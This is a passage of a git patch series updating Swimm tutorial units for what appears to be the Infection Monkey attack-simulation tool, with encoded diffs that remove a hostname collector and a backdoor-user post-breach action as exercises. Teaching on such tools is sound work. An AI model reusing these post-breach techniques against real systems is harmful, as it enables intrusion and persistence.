ZWxhdGVzJTIwdG8lMjB0aGUlMjBUMTA4MiUyMGFuZCUyMFQxMDE2JTIwdGVjaG5pcXVlcy4lMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZtb25rZXkucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBaW5kZXglMjBiNDdkNmExNS4uMWIxOTYyYTQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRm1vbmtleS5weSUwQSU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMlMjBpbXBvcnQlMjAoQVdTX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEFaVVJFX0NSRURfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyME1JTUlLQVRaX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwJTBBJTQwJTQwJTIwLTg4JTJDNyUyMCUyQjg3JTJDNiUyMCU0MCU0MCUyME1PTktFWSUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmRlZmF1bHQlMjIlM0ElMjAlNUIlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGaG9zdG5hbWUucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBaW5kZXglMjBlMmRlNDUxOS4uMDRiYzM1NTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZob3N0bmFtZS5weSUwQSU0MCU0MCUyMC0xJTJDOSUyMCUyQjElMkM5JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQSUyMCUwQS1mcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5JTIwaW1wb3J0JTIwTW9ua2V5JTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFRoaXMlMjB3aWxsJTIwYmUlMjB1c2VmdWwlMjAlM0EpJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5Lk1vbmtleSUyMGhhcyUyMHRoZSUyMHVzZWZ1bCUwQSUyQiUyMyUyMCUyMmdldF9zaW5nbGVfbW9ua2V5X2J5X2d1aWQlMjIlMjBhbmQlMjAlMjJzZXRfaG9zdG5hbWUlMjIlMjBtZXRob2RzLiUwQSUyMCUwQSUyMGxvZ2dlciUyMCUzRCUyMGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKSUwQSUyMCUwQSUyMCUwQS1kZWYlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeShjb2xsZWN0b3JfcmVzdWx0cyUyQyUyMG1vbmtleV9ndWlkKSUzQSUwQS0lMjAlMjAlMjAlMjBNb25rZXkuZ2V0X3NpbmdsZV9tb25rZXlfYnlfZ3VpZChtb25rZXlfZ3VpZCkuc2V0X2hvc3RuYW1lKGNvbGxlY3Rvcl9yZXN1bHRzJTVCJTIyaG9zdG5hbWUlMjIlNUQpJTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFByb2Nlc3NpbmclMjBmdW5jdGlvbiUyMGdvZXMlMjBoZXJlLiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGc3lzdGVtX2luZm9fdGVsZW1ldHJ5X2Rpc3BhdGNoZXIucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBaW5kZXglMjA2MzlhMzkyYy4uN2FhNmQzYTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZzeXN0ZW1faW5mb190ZWxlbWV0cnlfZGlzcGF0Y2hlci5weSUwQSU0MCU0MCUyMC0zJTJDMTQlMjAlMkIzJTJDMTElMjAlNDAlNDAlMjBpbXBvcnQlMjB0eXBpbmclMEElMjAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5hd3MlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjBwcm9jZXNzX2F3c190ZWxlbWV0cnklMEElMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmVudmlyb25tZW50JTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwcHJvY2Vzc19lbnZpcm9ubWVudF90ZWxlbWV0cnklMEEtZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5ob3N0bmFtZSUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS56ZXJvX3RydXN0X3Rlc3RzLmFudGl2aXJ1c19leGlzdGVuY2UlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjB0ZXN0X2FudGl2aXJ1c19leGlzdGVuY2UlMEElMjAlMEElNDAlNDAlMjAtMTklMkM3JTIwJTJCMTYlMkM2JTIwJTQwJTQwJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX1RPX1RFTEVNRVRSWV9QUk9DRVNTT1JTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwQVdTX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfYXdzX3RlbGVtZXRyeSU1RCUyQyUwQSUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfZW52aXJvbm1lbnRfdGVsZW1ldHJ5JTVEJTJDJTBBLSUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfaG9zdG5hbWVfdGVsZW1ldHJ5JTVEJTJDJTBBJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUzQSUyMCU1QnRlc3RfYW50aXZpcnVzX2V4aXN0ZW5jZSU1RCUwQSUyMCU3RCUwQSUyMCUwQQ==",
-    "description": "JTIzJTIwV2hhdCUyMGFyZSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3JzJTNGJTBBJTBBV2VsbCUyQyUyMHRoZSUyMG5hbWUlMjBwcmV0dHklMjBtdWNoJTIwZXhwbGFpbnMlMjBpdC4lMjBUaGV5JTIwYXJlJTIwTW9ua2V5JTIwY2xhc3NlcyUyMHdoaWNoJTIwY29sbGVjdCUyMHZhcmlvdXMlMjBpbmZvcm1hdGlvbiUyMHJlZ2FyZGluZyUyMHRoZSUyMHZpY3RpbSUyMHN5c3RlbSUyQyUyMHN1Y2glMjBhcyUyMEVudmlyb25tZW50JTJDJTIwU1NIJTIwSW5mbyUyQyUyMFByb2Nlc3MlMjBMaXN0JTJDJTIwTmV0c3RhdCUyMGFuZCUyMG1vcmUuJTIwJTBBJTBBJTIzJTIzJTIwV2hhdCUyMHNob3VsZCUyMEklMjBhZGQlM0YlMjAlMEElMEFBJTIwc3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvciUyMHdoaWNoJTIwY29sbGVjdHMlMjB0aGUlMjBob3N0bmFtZSUyMG9mJTIwdGhlJTIwc3lzdGVtLiUwQSUwQSUyMyUyMyUyMFRlc3QlMjBtYW51YWxseSUwQSUwQU9uY2UlMjB5b3UncmUlMjBkb25lJTJDJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIweW91ciUyMGNvbGxlY3RvciUzQSUwQSolMjBBcHBlYXJzJTIwaW4lMjB0aGUlMjBJc2xhbmQlMjBjb25maWd1cmF0aW9uJTJDJTIwYW5kJTIwaXMlMjBlbmFibGVkJTIwYnklMjBkZWZhdWx0JTBBKiUyMFRoZSUyMGNvbGxlY3RvciUyMGFjdHVhbGx5JTIwcnVucyUyMHdoZW4lMjBleGVjdXRpbmclMjBhJTIwTW9ua2V5LiUwQSolMjBSZXN1bHRzJTIwc2hvdyUyMHVwJTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHBsYWNlcyUzQSUwQSUyMCUyMColMjBUaGUlMjBpbmZlY3Rpb24lMjBtYXAuJTBBJTIwJTIwKiUyMFRoZSUyMHNlY3VyaXR5JTIwcmVwb3J0LiUwQSUyMCUyMColMjBUaGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMEElMEEqKlRoZXJlJTIwYXJlJTIwYSUyMGxvdCUyMG9mJTIwaGludHMlMjBmb3IlMjB0aGlzJTIwdW5pdCUyMC0lMjBkb24ndCUyMGJlJTIwYWZyYWlkJTIwdG8lMjB1c2UlMjB0aGVtISoq",
-    "dod": "QWRkJTIwYSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3IlMjB0aGF0JTIwY29sbGVjdHMlMjB0aGUlMjBtYWNoaW5lJTIwaG9zdG5hbWUu",
-    "summary": "U3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvcnMlMjBhcmUlMjB1c2VmdWwlMjB0byUyMGdldCUyMG1vcmUlMjBkYXRhJTIwZm9yJTIwdmFyaW91cyUyMHRoaW5ncyUyQyUyMHN1Y2glMjBhcyUyMFpUJTIwdGVzdHMlMjBvciUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMjBUYWtlJTIwYSUyMGxvb2slMjBhdCUyMHNvbWUlMjBvdGhlciUyMHRlY2huaXF1ZXMh",
-    "file_version": "1.0.2",
-    "app_version": "0.1.60"
+    "app_version": "0.1.90",
+    "file_version": "1.0.2"
 }
\ No newline at end of file

From 4152e5fe8a962ae5e3f21bd9af9055ce5d8213a3 Mon Sep 17 00:00:00 2001
From: Swimm <swimm@swimm.io>
Date: Fri, 11 Sep 2020 18:50:35 +0530
Subject: [PATCH 06/30] Swimm: updated unit (tbxb2cGgUiJQ8Btma0fp)

---
 .swm/tbxb2cGgUiJQ8Btma0fp.swm | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
index 0f2209f27..e3be3fb14 100644
--- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm
+++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
@@ -7,7 +7,7 @@
     "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMjAlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGl